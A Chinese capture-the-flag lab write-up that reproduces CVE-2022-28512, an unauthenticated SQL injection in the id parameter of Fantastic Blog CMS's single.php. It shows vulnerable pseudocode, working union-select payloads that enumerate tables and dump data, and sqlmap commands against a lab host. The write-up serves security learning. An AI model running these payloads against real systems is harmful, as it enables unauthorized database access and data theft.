CVE-2022-28512漏洞复现与分析(春秋云镜)

前言

本文仅作渗透测试 技术学习与复盘使用。所有实验均在正规授权靶场开展,禁止将相关技术用于任何未授权的网络攻击行为。请遵守法律法规,合法合规学习网络安全技术。

靶标介绍

Fantastic Blog (CMS)是一个绝对出色的博客/文章网络内容管理系统。它使您可以轻松地管理您的网站或博客,它为您提供了广泛的功能来定制您的博客以满足您的需求。它具有强大的功能,您无需接触任何代码即可启动并运行您的博客。 该CMS的/single.php路径下,id参数存在一个SQL注入漏洞。

漏洞介绍

CVE-2022-28512 是一处高危未授权 SQL 注入漏洞,漏洞影响 Fantastic Blog CMS v1.0。该系统前端文章查看接口 single.php 对 id 参数未做任何过滤与合规校验,攻击者可直接构造恶意 SQL 语句,实现任意数据库查询、读取敏感数据、拖库,甚至配合业务漏洞实现权限提升与服务器控制。

该漏洞利用门槛极低,无需登录、无需任何权限、外网可直接利用,CVSS 评分高达 9.8 超危级别,是护网、渗透测试中高频出现的重点漏洞。

漏洞成因分析

Fantastic Blog CMS v1.0 的文章详情页面 single.php 在接收用户传入的 id 参数时,未对参数进行 整数强制过滤、特殊字符转义、预编译处理,直接将用户可控参数拼接至后端 SQL 查询语句中,导致存在通用 SQL 注入漏洞。

漏洞伪代码如下:

php 复制代码
$id = $_GET['id'];
$sql = "SELECT * FROM posts WHERE id = $id";

攻击者可通过单引号闭合原有SQL逻辑,拼接恶意查询语句,随意操作数据库数据。

漏洞复现原理
  1. 漏洞点位
    漏洞存在于前台公开访问接口,任何人都可以访问利用:
    http://target/fantasticblog/single.php?id=1
  2. 注入点验证
    通过单引号测试是否存在注入:
    http://target/fantasticblog/single.php?id=1'
    页面出现 SQL 语法报错,说明参数未过滤,SQL注入漏洞存在。
  3. 手工注入核心流程
    1、判断字段数:通过 order by 判断查询字段数量
    2、联合查询:使用 union select 拼接恶意查询语句
    3、查询当前数据库、数据表、字段
    4、读取用户账号、密码、后台敏感数据
  4. 工具批量检测(SQLMap)
    该漏洞特征明显,可直接使用 SQLMap 一键检测、脱库:
powershell 复制代码
sqlmap -u "http://target/fantasticblog/single.php?id=1" --dbs

打靶

点击图片跳到打靶的位置:

这里已经出现id了:

先加个'

显然是单引号闭合的SQL语句。

先找显位个数:

bash 复制代码
id=4' order by 9--+
bash 复制代码
id=4' order by 10--+

显位个数为9。

通过改变id值为负数找可以回显的点位:

bash 复制代码
id=-4' union select 1,2,3,4,5,6,7,8,9--+

爆库名:

bash 复制代码
id=-4' union select 1,2,3,database(),5,6,7,8,9--+

爆表名:

bash 复制代码
id=-4' union select 1,2,3,group_concat(table_name),5,6,7,8,9 from information_schema.tables where table_schema=database() --+
bash 复制代码
titles,page_hits,membership_userpermissions,membership_groups,blog_categories,membership_userrecords,membership_users,editors_choice,blogs,links,flag,banner_posts,membership_grouppermissions,visitor_info

有个flag表。

爆列名:

bash 复制代码
id=-4' union select 1,2,3,group_concat(column_name),5,6,7,8,9 from information_schema.columns where table_schema=database() and table_name="flag" --+

爆数据:

bash 复制代码
id=-4' union select 1,2,3,group_concat(flag),5,6,7,8,9 from flag --+

当然,手搓是为了更好的理解原理,现在用sqlmap是更方便的。

爆库:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -dbs

爆ctf表:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf --tables

爆falg列:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf -T ctf --columns

爆flag字段值:

bash 复制代码
python sqlmap.py -u "https://eci-2ze90osvaz294b7nf7uh.cloudeci1.ichunqiu.com:80/single.php?id=4" --batch -D ctf -T flag --dump
相关推荐
ylscode15 小时前
联想驱动程序暗藏内核级杀器:BYOVD攻击链下的EDR防护溃堤实录
网络·安全·安全威胁分析
Chockmans1 天前
春秋云境CVE-2020-21652(极速版)
计算机网络·安全·web安全·网络安全·安全威胁分析·春秋云境·cve-2020-21652
X7x54 天前
网络访问控制(NAC):企业网络安全的“智能门禁系统”
网络安全·网络攻击模型·安全威胁分析·安全架构·nac
ylscode4 天前
巨齿鲨突袭GitHub:5500余仓库沦陷,开源供应链安全防线再遭重创
运维·服务器·网络·安全·安全威胁分析
持敬chijing5 天前
BUUCTF-WEB详细解题攻略第二页(按解出数降序排序)正在更新
安全·web安全·网络安全·网络攻击模型·安全威胁分析
ylscode5 天前
npm遭遇大规模供应链投毒:@antv生态被植入Shai-Hulud后门,全球开发者需紧急排查
网络·安全·web安全·安全威胁分析
持敬chijing6 天前
BUUCTF-WEB详细解题攻略1(按解出数降序排序)
网络·web安全·网络安全·网络攻击模型·安全威胁分析·web
ylscode6 天前
微软Edge浏览器启动时停止将已保存的密码加载到内存中
网络·数据库·安全·安全威胁分析
深邃-7 天前
【Web安全】-企业资产信息收集(1):信息收集介绍,域名信息收集,主域名查询,ICP备案号查询,备案实体查询,工业和信息化部政务服务平台查询,怎样收集
安全·web安全·网络安全·安全威胁分析·政务·信息收集